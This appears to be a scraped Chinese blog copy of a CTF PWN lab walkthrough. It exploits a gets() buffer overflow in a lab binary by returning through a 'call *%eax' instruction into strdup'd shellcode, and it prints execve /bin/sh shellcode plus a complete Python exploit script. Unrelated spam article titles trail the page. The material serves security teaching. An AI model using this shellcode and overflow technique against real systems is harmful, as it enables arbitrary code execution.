当前位置: 首页 > news >正文

做网站关键词要懂代码么/哪里做网站便宜

做网站关键词要懂代码么,哪里做网站便宜,wordpress自适应方法,深圳保障性住房申请目录预备知识一、相关实验二、strdup函数三、grep命令实验目的实验环境实验步骤一源码审计实验步骤二使用gdb调试程序实验步骤三发起溢出攻击预备知识 一、相关实验 本实验要求您已经认真学习和完成了《CTF PWN练习之绕过返回地址限制》。 二、strdup函数 strdup可以用于复…

目录

  • 预备知识
    • 一、相关实验
    • 二、strdup函数
    • 三、grep命令
  • 实验目的
  • 实验环境
  • 实验步骤一
    • 源码审计
  • 实验步骤二
    • 使用gdb调试程序
  • 实验步骤三
    • 发起溢出攻击

预备知识

一、相关实验

本实验要求您已经认真学习和完成了《CTF PWN练习之绕过返回地址限制》。

二、strdup函数

strdup可以用于复制一个字符串,我们通常使用字符串时会使用strcpy,这要求已经定义好了一个接收缓冲区。而strdup只接受一个参数,也就是要复制的字符串的地址,strdup()会先用malloc()配置与参数字符串相同大小的的空间,然后将参数字符串的内容复制到该内存地址,然后把该地址返回。strdup返回的地址最后可以利用free()来释放。

三、grep命令

当输出信息非常多的时候,我们很难快速找到我们感兴趣的信息。使用grep命令可以对匹配特定正则表达式的文本进行搜索,并只输出匹配的行或文本。
我们可以使用管道将一个程序的输出当做grep的输入数据,grep会根据给定的正则表达式参数对输入数据进行过滤。
对于grep的参数需要注意这样一个问题:当参数中存在空格时需要用双引号将参数包裹起来,此外,*是正则表达式里面的通配符,如果要查找*,需要使用反斜杠进行转义,即\*。

实验目的

1)学会使用grep命令通过正则表达式过滤输出信息。
2)学会综合使用grep与objdump搜索特定的指令。
3)学会通用的跳转技术来执行Shellcode。

实验环境

在这里插入图片描述
服务器:CentOS6.5,IP地址:随机分配
辅助工具:Python,gdb

实验步骤一

描述:
主机/home/test/8目录下有一个pwn8程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后会产生对应的输出信息并直接退出,然而当输入一定的数据量时,可能会提示bzzzt的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到执行Shellcode的目的。下面这段Shellcode用于执行/bin/sh:

\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh

请对pwn8程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之执行上面提供的Shellcode。
考察意图:
除了绕过对返回地址的限制保护之外,还可以使用更加高级的通用跳转技术来执行Shellcode。

源码审计

使用cd /home/test/8切换到程序所在目录,执行cat pwn8.c即可看到源代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char* getpath()
{char buffer[64];unsigned int ret;printf("input path please:");fflush(stdout);gets(buffer);ret = __builtin_return_address(0);if ((ret & 0xb0000000) == 0xb0000000){printf("bzzzt (%p)\n", ret);_exit(1);}printf("got path %s\n", buffer);return strdup(buffer);
}
int main(int argc, char** argv)
{getpath();return 0;
}

getpath函数中定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出。在程序的末尾调用了strdup对buffer缓冲区中存储的字符串进行复制,并返回了新的缓冲区副本的地址。

实验步骤二

使用gdb调试程序

执行gdb pwn8即可开始通过gdb对pwn8进行调试,现在我们需要阅读getpath函数的汇编代码,在gdb中执行disas getpath命令即可。类似实验《CTF PWN练习之返回地址覆盖》,我们可以通过执行如下的指令来计算覆盖返回地址需要的字节数:
在这里插入图片描述
上图中红色线条框起来的就是我们执行的gdb命令,粉红色线条框起来的是我们下断点的地址,蓝色线条框起来的是我们想要查看的两个寄存器的值,有:
0xffffd6bc-0xffffd66c,那么这两个地址的差为80。
也就是说,在覆盖了80字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。
现在关注一下函数末尾的几条汇编指令,如下:

0x08048518 <+116>:   lea    -0x4c(%ebp),%eax
0x0804851b <+119>:   mov    %eax,(%esp)
0x0804851e <+122>:   call   0x80483d8 <strdup@plt>
0x08048523 <+127>:   leave
0x08048524 <+128>:   ret

我们发现程序调用了strdup对输入数据进行复制,然后把新分配的空间的地址返回。在汇编语言中,函数的返回值存储于eax寄存器中,可以在gdb中实际验证一下:
在这里插入图片描述
在0x08048523下一个断点,然后输入c继续执行,输入数据后,断点将会断下,这时候通过执行x /s $eax命令,看到了我们复制的数据。既然eax寄存器指向复制后的buffer,如果我们将函数的返回地址覆盖为call *%eax这样的指令的地址,那么Shellcode就可以被执行了。可以尝试找到这样的一条指令。
我们知道通过objdump -d pwn8可以查看pwn8中的汇编指令,而grep可以对指令进行过滤,那么可以在Shell中执行objdump -d pwn8 | grep "call *\*%eax"来找到我们需要的指令:
在这里插入图片描述

实验步骤三

发起溢出攻击

通过上面的步骤我们已经知道,可以将getpath函数的返回地址覆盖为0x0804849f,就可以执行call *%eax了。这里我们需要将Shellcode布局到buffer的最前面,shellcode与返回地址之间不足的数据可以用A来填充,我们对输入数据的构造的布局如下:
在这里插入图片描述
在/home/test/8目录下有一个pwn8.py的Python脚本,其源代码如下:

shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46" +"\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" +"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")
junk = (80-len(shellcode))*'A'
print shellcode + junk + '\x9f\x84\x04\x08'

在Shell下执行python pwn8.py > test将输出数据写入test文件,然后再次使用gdb调试pwn8程序,gdb载入pwn8程序后,执行r < test命令,表示将test文件的数据当做输入数据传给pwn8程序,可以看到Shellcode成功执行,新创建了一个/bin/bash进程:
在这里插入图片描述

http://www.jmfq.cn/news/4893571.html

相关文章:

  • 海口企业自助建站/重庆森林经典台词 凤梨罐头
  • 手机免费建设网站/网络营销成功的品牌
  • 做问卷不花钱的网站/网络推广培训课程内容
  • 建立网站需要多久/如何制作网站赚钱
  • 做网站最专业的公司/百度浏览器下载官方免费
  • 手机企业网站怎么做/关键词优化技巧有哪些
  • 淄博专业网站建设价格/怎么关闭seo综合查询
  • 冀州建设局网站/网站点击量统计
  • 尚义网站建设wl17581/刚刚刚刚刚刚好痛
  • 北京国际建设集团网站/百度搜索指数排名
  • 网站建设费专用发票能不能抵扣/百度一下官网首页百度一下
  • 安阳哪里做360网站/推广游戏怎么拉人最快
  • 济南地铁建设/seo教程技术优化搜索引擎
  • 做淘宝优惠券网站要多少钱/数据平台
  • 网站建设私单合同/emlog友情链接代码
  • 威海网站建设短信精准群发/今日百度关键词排名
  • 建设部建造师强制注销网站/android优化大师
  • 如何查网站是织梦做的/企业邮箱哪个好
  • 我的网站域名是什么/社群运营的经典案例
  • 国内创意产品网站/营销网络是什么
  • 连云港建设网站/搜索引擎有哪些软件
  • 免费注册网站哪个好/路由优化大师
  • 装修网网站建设/北京seo加盟
  • 南京网页网站制作/常见的搜索引擎
  • 福州cms建站/网络营销方案的制定
  • 网络存储上做网站/如何申请网站域名流程
  • 传奇公益服/浙江关键词优化
  • 能免费做微信群推广的网站/十大seo公司
  • 国外饮品网站/四川seo
  • 追设计网站/天津seo排名收费